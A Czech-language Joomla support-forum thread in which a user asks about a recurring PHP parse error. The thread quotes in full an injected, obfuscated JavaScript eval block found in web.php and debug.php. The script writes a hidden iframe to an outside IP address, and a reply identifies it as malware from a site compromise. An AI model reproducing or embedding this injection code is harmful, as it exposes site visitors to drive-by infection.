Chyba: Parse error: syntax error, unexpected '

Rosta
25. říj 2015 01:24 #124132
Může mi někdo pomoci. Mám čistou instalaci: A jakmile to nainastaluji, změním jen templete. Nastavím pár věcí pak mi vyskočí po několika hodinách táto chyba: Parse error: syntax error, unexpected ''.replace(/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) in /www/doc/www.xxxxxxxxxxxxx.cz/www/libraries/joomla/application/web.php on line 536.

už nevím co dělám špatně. PHP moc neznám a používám joomlu na několika webech bez problému. Ale zde fakt nevím co se děje. Chybe je jak v částí admin tak na strankách. Přetáhnu na FTP poslední verzi joomly a vše funguje. Zajdu na pivko a vrátím se a nic nejde. Nedostanu se do sdministrace ani na stránky.

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Rosta
25. říj 2015 01:26 #124133
Používám jomlu 3_4_5

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Ernst
25. říj 2015 11:02 #124140
toto to hlásí, pokud máte někde špatně zkonstruováno query.
Univerzální rada neexistuje, zkuste prohledat obsah webu na "T_CONSTANT_ENCAPSED_STRING"

vypadá to na proměnnou (možná jazykovou v jazykovém ini souboru), která není naplněna.
nejedná se zřejmě o samotnou joomlu, ale o nějaké její rozšíření

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Rosta
25. říj 2015 15:33 #124144
Chybu ukazuje tady na ten šílený řádek:
$html .= '</head><body><tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|178||src|height|236|width|board||171|php|222|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body></html>';
Pokud ho odstraním:
tak je chyba v souboru debug.php v řádku :
echo str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|178||src|height|236|width|board||171|php|222|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', implode('', $html) . '</body>', $contents);
Jakmile smáznu i tento web jede.
Což ale není řešení.

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Rosta
25. říj 2015 15:36 #124145
Chybu bych viděl někde kolem:
.......return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d...................
od toho c://d už to vidím jako špatný php kód.

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Cony
25. říj 2015 21:02 #124152
T_CONSTANT_ENCAPSED_STRING nehledejte, nenajdete. To je interní konstanta PHP, kterou Vám oznamuje chybu v syntaxi. Kód co tam máte tam vůbec být nemá, značí to jediné - web máte napadený a cosi Vám do souborů tento škodlivý kód doplňuje. Takže klasický postup - vše zkontrolovat, pročistit, promazat, opravit, změnit hesla, znovu a lépe zabezpečit. Je možné že škodlivý kód máte na stránkách už léta, jen teď začal být aktivní.
Poděkovali: Rosta

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.

Odpověď od Rosta
25. říj 2015 21:20 #124157
Díky za info.

Pro možnost přispívání do fóra je nutné: Přihlásit se nebo Vytvořit účet.